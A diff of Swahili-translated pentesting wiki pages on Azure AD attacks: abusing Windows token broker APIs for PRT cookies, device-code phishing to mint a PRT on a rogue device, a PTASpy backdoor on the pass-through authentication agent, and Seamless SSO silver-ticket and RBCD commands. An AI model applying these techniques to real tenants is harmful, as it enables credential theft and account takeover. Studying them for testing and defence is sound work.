Licha ya ulinzi ulioelezwa, mshambuliaji ambaye tayari ameathiri kifaa (kama mtumiaji wa ndani au hata SYSTEM) bado anaweza **kutitisha PRT ili kupata tokens mpya za ufikiaji** kwa kutumia APIs za broker za token za Windows na vipengele vya usalama. Badala ya **kutoa** PRT au funguo za msingi, mshambuliaji kimsingi **"anamuomba" Windows kutumia PRT kwa niaba yake**. Katika sehemu zilizo chini, tunabainisha mbinu zinazofanya kazi kwa sasa za kutitisha PRTs na funguo zao za kikao kwenye vifaa vya Windows vilivyosasishwa ambapo ulinzi wa TPM unatumika. Mbinu hizi zote zinadhani ufikiaji wa baada ya unyakuzi kwenye mashine lengwa, na **zinazingatia kutitisha mchakato wa uthibitishaji wa ndani** (hakuna udhaifu usio na patch unahitajika).
Licha ya ulinzi ulioelezwa, mshambuliaji ambaye tayari ameathiri kifaa (kama mtumiaji wa ndani au hata SYSTEM) bado anaweza **kutumia PRT kupata tokens mpya za ufikiaji** kwa kutumia APIs za broker za token za Windows na vipengele vya usalama. Badala ya **kutoa** PRT au funguo za msingi, mshambuliaji kimsingi **"anamuomba" Windows kutumia PRT kwa niaba yake**. Katika sehemu zilizo chini, tunabainisha mbinu zinazofaa kwa sasa za kutumia PRT na funguo zao za kikao kwenye vifaa vya Windows vilivyosasishwa ambapo ulinzi wa TPM unatumika. Mbinu hizi zote zinadhani ufikiaji wa baada ya unyakuzi kwenye mashine lengwa, na **zinazingatia kutumia mchakato wa uthibitishaji uliojengwa ndani** (hakuna udhaifu usio na patch unahitajika).
### Windows Token Broker Architecture and SSO Flow
### Mifumo ya Broker ya Token ya Windows na Mchakato wa SSO
Windows za kisasa hushughulikia uthibitishaji wa wingu kupitia **token broker** iliyojengwa ndani, ambayo inajumuisha vipengele katika hali ya mtumiaji na LSASS (Local Security Authority). Vipengele muhimu vya usanifu huu ni pamoja na:
Windows za kisasa hushughulikia uthibitishaji wa wingu kupitia **broker ya token** iliyojengwa ndani, ambayo inajumuisha vipengele katika hali ya mtumiaji na LSASS (Mamlaka ya Usalama wa Mitaa). Vipengele muhimu vya usanifu huu ni pamoja na:
- **LSASS CloudAP Plugin:** Wakati kifaa kimeunganishwa na Azure AD, LSASS inachukua pakiti za uthibitishaji wa wingu (mfano `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) zinazoshughulikia PRTs na maombi ya token. LSASS (inayoendesha kama SYSTEM) inaratibu uhifadhi wa PRT, upya, na matumizi, na inawasiliana na TPM ili kufanya operesheni za kificho (kama kusaini changamoto ya PRT kwa funguo ya kikao).
- **Plugin ya CloudAP ya LSASS:** Wakati kifaa kimeunganishwa na Azure AD, LSASS hupakia pakiti za uthibitishaji wa wingu (mfano `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) zinazoshughulikia PRTs na maombi ya token. LSASS (inayoendesha kama SYSTEM) inaratibu uhifadhi wa PRT, upya, na matumizi, na inawasiliana na TPM ili kufanya operesheni za kijasusi (kama kusaini changamoto ya PRT kwa funguo ya kikao).
- **Web Account Manager (WAM):** Meneja wa Akaunti za Mtandao wa Windows ni mfumo wa hali ya mtumiaji (unaoweza kufikiwa kupitia APIs za COM/WinRT) unaowezesha programu au vivinjari kuomba tokens kwa akaunti za wingu bila kuomba taarifa za kuingia. WAM inafanya kazi kama broker kati ya programu za mtumiaji na PRT iliyoungwa mkono na LSASS/TPM. Kwa mfano, maktaba ya MSAL ya Microsoft na vipengele fulani vya OS vinatumia WAM kupata tokens kimya kimya kwa kutumia PRT ya mtumiaji aliyeingia.
- **Meneja wa Akaunti za Mtandao (WAM):** Meneja wa Akaunti za Mtandao wa Windows ni mfumo wa hali ya mtumiaji (unaoweza kufikiwa kupitia APIs za COM/WinRT) unaowezesha programu au vivinjari kuomba tokens kwa ajili ya akaunti za wingu bila kuomba taarifa za kuingia. WAM inafanya kazi kama broker kati ya programu za mtumiaji na PRT iliyolindwa na LSASS/TPM. Kwa mfano, maktaba ya MSAL ya Microsoft na vipengele fulani vya OS vinatumia WAM kupata tokens kimya kimya kwa kutumia PRT ya mtumiaji aliyeingia.
- **BrowserCore.exe na Token Broker COM interfaces:** Kwa SSO ya kivinjari, Windows inajumuisha kipengele kinachoitwa **BrowserCore.exe** (kilichoko chini ya *Windows Security\BrowserCore*). Hiki ni mwenyeji wa ujumbe wa asili unaotumiwa na vivinjari (Edge, Chrome kupitia nyongeza, nk.) kupata token ya SSO inayotokana na PRT kwa kuingia kwenye Azure AD. Chini ya uso, BrowserCore inatumia kitu cha COM kinachotolewa na `MicrosoftAccountTokenProvider.dll` ili kupata cookie/token inayotokana na PRT. Kwa msingi, interface hii ya COM ni API ya "token broker" ya chama cha kwanza ambayo mchakato wowote unaoendesha kama mtumiaji unaweza kuitumia ili kupata token ya SSO (ikiwa mtumiaji ana PRT halali katika LSASS).
- **BrowserCore.exe na interfaces za Token Broker COM:** Kwa SSO ya kivinjari, Windows inajumuisha kipengele kinachoitwa **BrowserCore.exe** (kilichoko chini ya *Windows Security\BrowserCore*). Hiki ni mwenyeji wa ujumbe wa asili unaotumiwa na vivinjari (Edge, Chrome kupitia nyongeza, nk.) kupata token ya SSO inayotokana na PRT kwa ajili ya kuingia kwenye Azure AD. Chini ya uso, BrowserCore inatumia kitu cha COM kinachotolewa na `MicrosoftAccountTokenProvider.dll` ili kupata cookie/token inayotokana na PRT. Kwa msingi, interface hii ya COM ni API ya "broker ya token" ya chama cha kwanza ambayo mchakato wowote unaoendesha kama mtumiaji unaweza kuitumia ili kupata token ya SSO (ikiwa mtumiaji ana PRT halali katika LSASS).
Wakati mtumiaji aliyeunganishwa na Azure AD anajaribu kufikia rasilimali (kama vile, Azure Portal), mchakato kawaida ni: programu inaita WAM au interface ya COM ya BrowserCore, ambayo kwa upande wake inawasiliana na LSASS. LSASS inatumia PRT na funguo ya kikao (iliyolindwa na TPM) kutoa **token ya SSO** -- mara nyingi inaitwa **PRT cookie** -- ambayo kisha inarudishwa kwa programu au kivinjari. PRT cookie ni JWT maalum inayojumuisha PRT iliyofichwa na nonce, iliyosainiwa kwa funguo iliyotokana na funguo ya kikao ya PRT. Cookie hii inatumwa kwa Azure AD (katika kichwa cha `x-ms-RefreshTokenCredential`) kuthibitisha kuwa kifaa na mtumiaji wana PRT halali, ikiruhusu Azure AD kutoa tokens za kawaida za OAuth za upya na ufikiaji kwa programu mbalimbali. Kwa kuzingatia, madai yoyote ya Uthibitishaji wa Mambo Mengi (MFA) yaliyopo katika PRT yatabebwa kwenye tokens zinazopatikana kupitia mchakato huu wa SSO, ikimaanisha kuwa tokens zinazotokana na PRT zinaweza kutosheleza rasilimali zilizolindwa na MFA.
Wakati mtumiaji aliyeunganishwa na Azure AD anajaribu kufikia rasilimali (kama vile, Azure Portal), mchakato huwa: programu inaita WAM au interface ya COM ya BrowserCore, ambayo kwa upande wake inawasiliana na LSASS. LSASS inatumia PRT na funguo ya kikao (iliyolindwa na TPM) kutoa **token ya SSO** -- mara nyingi inaitwa **cookie ya PRT** -- ambayo kisha inarudishwa kwa programu au kivinjari. Cookie ya PRT ni JWT maalum inayojumuisha PRT iliyosimbwa na nonce, iliyosainiwa kwa funguo iliyotokana na funguo ya kikao ya PRT. Cookie hii inatumwa kwa Azure AD (katika kichwa cha `x-ms-RefreshTokenCredential`) ili kuthibitisha kifaa na mtumiaji wana PRT halali, ikiruhusu Azure AD kutoa tokens za kawaida za OAuth za upya na ufikiaji kwa programu mbalimbali. Kwa kuzingatia, madai yoyote ya Uthibitishaji wa Mambo Mengi (MFA) yaliyopo katika PRT yatabebwa kwenye tokens zinazopatikana kupitia mchakato huu wa SSO, ikimaanisha tokens zinazotokana na PRT zinaweza kutosheleza rasilimali zilizolindwa na MFA.
### User-Level Token Theft (Non-Admin)
### Wizi wa Token za Kiwango cha Mtumiaji (Si Admin)
Wakati mshambuliaji ana **utendaji wa msimbo wa kiwango cha mtumiaji**, ulinzi wa TPM wa PRT hauzuia mshambuliaji kupata tokens. Mshambuliaji **anatumia APIs za Broker za Token za Windows zilizojengwa ndani**:
Wakati mshambuliaji ana **utendaji wa msimbo wa kiwango cha mtumiaji**, ulinzi wa TPM wa PRT hauzuia mshambuliaji kupata tokens. Mshambuliaji **anatumia APIs za Broker ya Token za Windows zilizojengwa ndani**:
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
BrowserCore inatoa darasa la COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) ili kupata cookies za PRT. API hii ya COM inaitwa kihalali na vivinjari (nyongeza za Chrome/Edge) kwa SSO ya Azure AD.
BrowserCore inatoa darasa la COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) ili kupata cookie za PRT. API hii ya COM inaitwa kihalali na vivinjari (nyongeza za Chrome/Edge) kwa SSO ya Azure AD.
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
```bash
@@ -229,7 +229,8 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### **Web Account Manager (WAM) APIs**
Washambuliaji hutumia maktaba halali za uthibitishaji za Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) kutoka kwa michakato ya kiwango cha mtumiaji ili kimya kimya kupata tokeni kwa kutumia PRT iliyo na ulinzi wa TPM.
Washambuliaji hutumia maktaba halali za uthibitishaji za Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) kutoka kwa michakato ya kiwango cha mtumiaji ili kimya kimya kupata tokeni kwa kutumia PRT iliyoangaziwa na TPM.
- **[aadprt](https://posts.specterops.io/)**
```bash
@@ -259,11 +260,11 @@ Ikiwa mshambuliaji atainua hadhi hadi **Msimamizi au SYSTEM**, wanaweza kujifany
Msimamizi/SYSTEM anaweza kujifanya kuwa vikao vinavyotembea vya watumiaji wengine ili kuitisha BrowserCore au WAM kwa ajili ya uzalishaji wa token.
Kwa hili, fanya tu ujifananishe na mchakato wa mtumiaji (mfano, `explorer.exe`) na itisha APIs za broker za token kwa kutumia mbinu yoyote iliyozungumziwa katika sehemu iliyopita.
Kwa hili, fanya tu ujifananishe na mchakato wa mtumiaji (mfano, `explorer.exe`) na itisha APIs za broker za token kwa kutumia mbinu yoyote iliyozungumziwa katika sehemu ya awali.
### **Mingiliano ya Moja kwa Moja ya LSASS & Broker ya Token (Ya Juu)**
### **Mingiliano ya Moja kwa Moja ya LSASS & Broker wa Token (Kitaalamu)**
Msimamizi bado anaweza kufanya kazi na LSASS ili kutumia PRT: kwa mfano, msimamizi anaweza kuingiza msimbo ndani ya LSASS au kuita kazi za ndani za CloudAP ili kumlazimisha LSASS kutoa token. Utafiti wa Dirk-jan ulionyesha kwamba msimamizi anaweza "kuingiliana na funguo za PRT katika LSASS kwa kutumia APIs za crypto". Katika mazoezi, hii inaweza kumaanisha kutumia kazi za LSASS mwenyewe (kupitia mbinu kama API hooking au RPC, ikiwa inapatikana) ili kuunda cookie ya PRT. Njia nyingine ni kutumia dirisha lolote ambapo funguo za kikao zinaweza kuonekana kwenye kumbukumbu kwa mfano, wakati wa upya wa PRT au usajili wa kifaa wakati inakuwa haijashifiriwa kwa matumizi. Mashambulizi kama haya ni magumu zaidi na yanategemea hali. Mbinu rahisi zaidi ya msimamizi ni kutumia mikono au cache za token zilizopo: LSASS inahifadhi token za upya zilizotolewa hivi karibuni kwa programu kwenye kumbukumbu (zilizoshifiriwa kwa DPAPI). Mshambuliaji wa SYSTEM mwenye azma anaweza kujaribu kutoa token hizi zilizolindwa na DPAPI (akitumika funguo kuu ya mtumiaji, ambayo msimamizi anaweza kupata) ili kuiba moja kwa moja token za upya za programu maalum. Hata hivyo, mbinu rahisi na ya jumla inabaki kuwa ujifananisha na matumizi ya interfaces za broker za token zilizorekodiwa, kwani hizi zinahakikisha kwamba Azure AD itatoa token mpya (ikiwa na mada zote sahihi) badala ya kujaribu kuvunja ushirikishaji.
Msimamizi bado anaweza kufanya kazi na LSASS ili kutumia PRT: kwa mfano, msimamizi anaweza kuingiza msimbo ndani ya LSASS au kuita kazi za ndani za CloudAP ili kumshawishi LSASS kutoa token. Utafiti wa Dirk-jan ulionyesha kwamba msimamizi anaweza "kuingiliana na funguo za PRT katika LSASS kwa kutumia APIs za crypto". Katika mazoezi, hii inaweza kumaanisha kutumia kazi za LSASS mwenyewe (kupitia mbinu kama API hooking au RPC, ikiwa inapatikana) ili kuzalisha cookie ya PRT. Njia nyingine ni kutumia dirisha lolote ambapo funguo za kikao zinaweza kuonekana kwenye kumbukumbu kwa mfano, wakati wa upya wa PRT au usajili wa kifaa wakati inakuwa haijashifiriwa kwa matumizi. Mashambulizi kama haya ni magumu zaidi na yanategemea hali. Mbinu rahisi zaidi ya msimamizi ni kutumia mikono au cache za token zilizopo: LSASS inahifadhi token za upya zilizotolewa hivi karibuni kwa programu kwenye kumbukumbu (zilizoshifiriwa kwa DPAPI). Mshambuliaji wa SYSTEM mwenye azma anaweza kujaribu kutoa token hizi zilizolindwa na DPAPI (akitumika funguo kuu ya mtumiaji, ambayo msimamizi anaweza kupata) ili kuiba moja kwa moja token za upya za programu maalum. Hata hivyo, mbinu rahisi na ya jumla zaidi inabaki kuwa ujifananisha na matumizi ya interfaces za broker za token zilizorekodiwa, kwani hizi zinahakikisha kwamba Azure AD itatoa token mpya (ikiwa na mada zote sahihi) badala ya kujaribu kuvunja ushirikishaji.
## Phishing PRTs
@@ -273,14 +274,14 @@ Tumia mtiririko wa **OAuth Device Code** kwa kutumia **Microsoft Authentication
- **PRT** inahusishwa na **kifaa** na inaruhusu **SSO kwa (karibu) programu yoyote iliyo na ulinzi wa Entra**.
- Mchanganyiko wa **Broker client + DRS** unaruhusu **token ya upya** iliyopatikana kwa njia ya ulaghai kubadilishwa kuwa **PRT** mara kifaa kinaposajiliwa.
- **MFA haijapita**: **mtumiaji anafanya MFA** wakati wa ulaghai; **mada za MFA zinaenea** kwenye PRT inayotokana, ikimruhusu mshambuliaji kufikia programu **bila maelekezo zaidi**.
- **MFA haijapita**: **mtumiaji anafanya MFA** wakati wa ulaghai; **mada za MFA zinaenea** kwenye PRT inayotokana, zikimruhusu mshambuliaji kufikia programu **bila maelekezo zaidi**.
**Mahitaji**:
- **Uthibitishaji wa mtumiaji kupitia Device Code** kwa kutumia **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) na **DRS scopes/resource** (mfano, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** au **`https://enrollment.manage.microsoft.com/`**).
- **Mtumiaji anaweza kusajili vifaa** katika Entra ID (**default: inaruhusiwa**, lakini inaweza kuwekewa vizuizi au mipaka).
- **Mtumiaji anaweza kusajili vifaa** katika Entra ID (**default: inaruhusiwa**, lakini inaweza kuwekwa mipaka au kuwekewa kikomo).
- **Hakuna sera za CA zinazozuia** ambazo **zinazima Device Code** au **zinahitaji vifaa vinavyokidhi/kuunganishwa** kwa programu lengwa (hizi hazitasitisha utoaji wa PRT, lakini **zitazuia** **kutumia** ili kufikia programu zilizolindwa).
- **Kifaa kinachodhibitiwa na mshambuliaji** ili kuendesha mtiririko na kushikilia token/vifunguo vya kifaa.
- **Kifaa kinachodhibitiwa na mshambuliaji** ili kuendesha mtiririko na kushikilia token/vfunguo vya kifaa.
**Mtiririko wa Shambulizi**:
@@ -291,21 +292,21 @@ curl -s -X POST \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```
2. **Mtu waathirika anaingia kwenye tovuti ya Microsoft** (UI halali) na kukamilisha **MFA****mshambuliaji anapata tokeni ya refresi ya DRSscoped** kwa mteja wa Broker.
2. **Mtu waathirika anaingia kwenye tovuti ya Microsoft** (UI halali) na kukamilisha **MFA****mshambuliaji anapata tokeni ya refresi ya DRSscoped** kwa ajili ya mteja wa Broker.
3. **Sajili kifaa kisicho halali** katika tenant kwa kutumia tokeni hiyo ya refresi (kituo cha kifaa kinaundwa na kuunganishwa na waathirika).
3. **Sajili kifaa kisicho halali** katika tenant kwa kutumia tokeni hiyo ya refresi (kifaa kinaumbwa na kuunganishwa na waathirika).
4. **Pandisha hadhi hadi PRT** kwa kubadilishana **tokeni ya refresi + kitambulisho/ufunguo wa kifaa****PRT** inayohusishwa na kifaa cha mshambuliaji.
5. **(Uthibitisho wa hiari)**: ikiwa MFA ilikuwa mpya, **sajili ufunguo wa Windows Hello for Business** ili kudumisha **ufikiaji wa muda mrefu, bila nenosiri**.
6. **Tumia vibaya**: tumia **PRT** (au tengeneza **keki ya PRT**) ili kupata **tokeni za ufikiaji** kwa **Exchange/Graph/SharePoint/Teams/apliki za kawaida** kama mtumiaji.
6. **Tumia vibaya**: tumia **PRT** (au tengeneza **keki ya PRT**) ili kupata **tokeni za ufikiaji** kwa **Exchange/Graph/SharePoint/Teams/appliko maalum** kama mtumiaji.
### Zana za Umma na Ushahidi wa Dhihirisho
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Inafanya otomatiki mchakato wa OAuth, usajili wa kifaa, na kuboresha tokeni.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripti ya amri moja inayofanya otomatiki kifaa cha nambari ya phish-to-PRT+WHfB ufunguo.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripti ya amri moja inayofanya otomatiki phishing ya kifaa hadi PRT+WHfB ufunguo.
## Marejeleo
@@ -1,10 +1,10 @@
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication inaruhusu watumiaji wako **kuingia kwenye programu za ndani na za wingu wakitumia nywila sawa**. Kipengele hiki kinawapa watumiaji wako uzoefu bora - nywila moja kidogo ya kukumbuka, na hupunguza gharama za msaada wa IT kwa sababu watumiaji wako wana uwezekano mdogo wa kusahau jinsi ya kuingia. Wakati watumiaji wanaingia wakitumia Microsoft Entra ID, kipengele hiki kinathibitisha nywila za watumiaji moja kwa moja dhidi ya Active Directory yako ya ndani.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication inaruhusu watumiaji wako **kuingia kwenye programu za ndani na za wingu kwa kutumia nywila sawa**. Kipengele hiki kinawapa watumiaji wako uzoefu bora - nywila moja kidogo ya kukumbuka, na hupunguza gharama za msaada wa IT kwa sababu watumiaji wako wana uwezekano mdogo wa kusahau jinsi ya kuingia. Wakati watumiaji wanaingia kwa kutumia Microsoft Entra ID, kipengele hiki kinathibitisha nywila za watumiaji moja kwa moja dhidi ya Active Directory yako ya ndani.
Katika PTA **vitambulisho** vinakuwa **vimeunganishwa** lakini **nywila hazijawa** kama katika PHS.
@@ -16,11 +16,11 @@ Uthibitishaji unathibitishwa katika AD ya ndani na mawasiliano na wingu yanafany
1. Ili **kuingia** mtumiaji anapelekwa kwenye **Azure AD**, ambapo anatumia **jina la mtumiaji** na **nywila**
2. **Taarifa za kuingia** zinakuwa **zimefichwa** na kuwekwa kwenye **foleni** katika Azure AD
3. **Wakala wa uthibitishaji wa ndani** anakusanya **taarifa za kuingia** kutoka kwenye foleni na **kuzifichua**. Wakala huyu anaitwa **"Pass-through authentication agent"** au **PTA agent.**
3. **Wakala wa uthibitishaji wa ndani** anakusanya **taarifa za kuingia** kutoka kwenye foleni na **kuzifungua**. Wakala huyu anaitwa **"Pass-through authentication agent"** au **PTA agent.**
4. **Wakala** **anathibitisha** taarifa dhidi ya **AD ya ndani** na anatumia **jibu** **kurudi** kwa Azure AD ambayo, ikiwa jibu ni chanya, **inakamilisha kuingia** kwa mtumiaji.
> [!WARNING]
> Ikiwa mshambuliaji **anashambulia** **PTA** anaweza **kuona** taarifa zote za **kuingia** kutoka kwenye foleni (katika **maandishi wazi**).\
> Ikiwa mshambuliaji **anashambulia** **PTA** anaweza **kuona** taarifa zote **za kuingia** kutoka kwenye foleni (katika **maandishi wazi**).\
> Anaweza pia **kuhakiki taarifa zozote** kwa AzureAD (shambulio linalofanana na ufunguo wa Skeleton).
### Enumeration
@@ -68,11 +68,11 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Ikiwa **ufungaji unashindwa**, hii inaweza kuwa ni kwa sababu ya kukosekana kwa [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
> Ikiwa **ufungaji unashindwa**, hii inaweza kuwa kutokana na kukosekana kwa [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Backdoor hii itafanya:
- Kuunda folda isiyoonekana `C:\PTASpy`
- Kuunda folda iliyofichwa `C:\PTASpy`
- Nakala `PTASpy.dll` kwenye `C:\PTASpy`
- Kuingiza `PTASpy.dll` kwenye mchakato wa `AzureADConnectAuthenticationAgentService`
@@ -84,7 +84,7 @@ Backdoor hii itafanya:
### Seamless SSO
Inawezekana kutumia Seamless SSO na PTA, ambayo inakabiliwa na matumizi mengine mabaya. Angalia katika:
Inawezekana kutumia Seamless SSO na PTA, ambayo inahatarishwa kwa matumizi mengine mabaya. Angalia katika:
{{#ref}}
seamless-sso.md
@@ -95,4 +95,4 @@ seamless-sso.md
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# Az - Seamless SSO
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya watumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -12,11 +12,11 @@ Kimsingi Azure AD Seamless SSO **inasaini watumiaji** wanapokuwa **kwenye PC ili
Inasaidiwa na [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) na [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
Desktop SSO inatumia **Kerberos** kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi.
Desktop SSO inatumia **Kerberos** kwa ajili ya uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi.
**Tiketi za Kerberos** **zimefungwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo.
**Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.
**Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa ajili ya SSO.
### Enumeration
```bash
@@ -89,11 +89,11 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
```
> [!NOTE]
> Kwa taarifa za sasa unaweza tu kutumia chombo **SeamlessPass** kama ilivyoelezwa hapo awali kupata tokens za azure na entraid kwa mtumiaji yeyote katika eneo hilo.
> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nywila ya mwathirika unayetaka kujifanya badala ya akaunti ya `AZUREADSSOACC$`.
> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nywila ya mwathirika unayetamani kuiga badala ya akaunti ya `AZUREADSSOACC$`.
#### Kuunda Tiketi za Fedha
#### Kuunda Tiketi za Silver
Kwa hash unaweza sasa **kuunda tiketi za fedha**:
Kwa hash unaweza sasa **kuunda tiketi za silver**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -143,7 +143,7 @@ Ili kufanya shambulio inahitajika:
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
2. Hatua2  Patia RBCD kwenye `AZUREADSSOACC$` - Andika SID ya mashine yako ndani ya `msDS-AllowedToActOnBehalfOfOtherIdentity`.
2. Hatua2  Patia RBCD kwenye `AZUREADSSOACC$` - Inaandika SID ya mashine yako kwenye `msDS-AllowedToActOnBehalfOfOtherIdentity`.
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
@@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
```
3. Hatua3  Fanya TGS kwa mtumiaji yeyote (mfano:alice)
3. Hatua ya 3 Tengeneza TGS kwa mtumiaji yeyote (mfano: alice)
```bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
@@ -171,13 +171,13 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
You can now use the **TGS to access Azure resources as the impersonated user.**
### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii **tiketi** za Kerberos zinaweza **kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
> [!CAUTION]
> Kubadilisha SID ya watumiaji wa usimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\
> Kwa maelezo angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
> Kubadilisha SID ya watumiaji wa wasimamizi wa wingu pekee sasa **imezuiwa na Microsoft**.\
> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
@@ -188,4 +188,4 @@ Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}